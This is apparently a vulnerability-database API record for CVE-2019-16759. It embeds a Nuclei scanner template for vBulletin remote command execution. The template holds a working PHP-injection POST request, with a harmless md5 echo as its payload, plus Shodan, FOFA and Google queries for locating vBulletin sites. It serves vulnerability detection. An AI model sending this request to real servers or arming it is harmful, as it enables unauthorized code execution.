{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2019-16759/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2019-16759/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2019-16759/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2019-16759/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2019-16759/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2019-16759"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2019-16759"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2019/CVE-2019-16759.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2019-16759\n\ninfo:\n  name: vBulletin 5.0.0-5.5.4 - Remote Command Execution\n  author: madrobot\n  severity: critical\n  description: vBulletin 5.0.0 through 5.5.4 is susceptible to a remote command execution vulnerability via the widgetConfig parameter in an ajax/render/widget_php routestring request. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the target system.\n  remediation: |\n    Upgrade vBulletin to a version that is not affected by CVE-2019-16759.\n  reference:\n    - https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/vbulletin-remote-code-execution-cve-2020-7373/\n    - https://seclists.org/fulldisclosure/2019/Sep/31\n    - https://www.theregister.co.uk/2019/09/24/vbulletin_vbug_zeroday/\n    - https://nvd.nist.gov/vuln/detail/CVE-2019-16759\n    - https://github.com/20142995/Goby\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2019-16759\n    cwe-id: CWE-94\n    epss-score: 0.99728\n    epss-percentile: 0.99953\n    cpe: cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: vbulletin\n    product: vbulletin\n    shodan-query:\n      - http.component:\"vBulletin\"\n      - http.html:\"powered by vbulletin\"\n      - http.component:\"vbulletin\"\n      - http.title:\"powered by vbulletin\"\n      - cpe:\"cpe:2.3:a:vbulletin:vbulletin\"\n    fofa-query:\n      - body=\"powered by vbulletin\"\n      - title=\"powered by vbulletin\"\n    google-query:\n      - intext:\"powered by vbulletin\"\n      - intitle:\"powered by vbulletin\"\n  tags: cve,cve2019,rce,kev,seclists,vbulletin,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo%20md5%28%22CVE-2019-16759%22%29%3B\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - \"addcc9f9f2f40e2e6aca3079b73d9d17\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a004630440220497345b1ee3a87b27cdfb840961b8986955f4caaa53be826764b8c1b3927a6aa022078fca1d147eb6c9152f99f527382607a6ea630fcda5470e623f2d56a272c18aa:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2019-16759"
}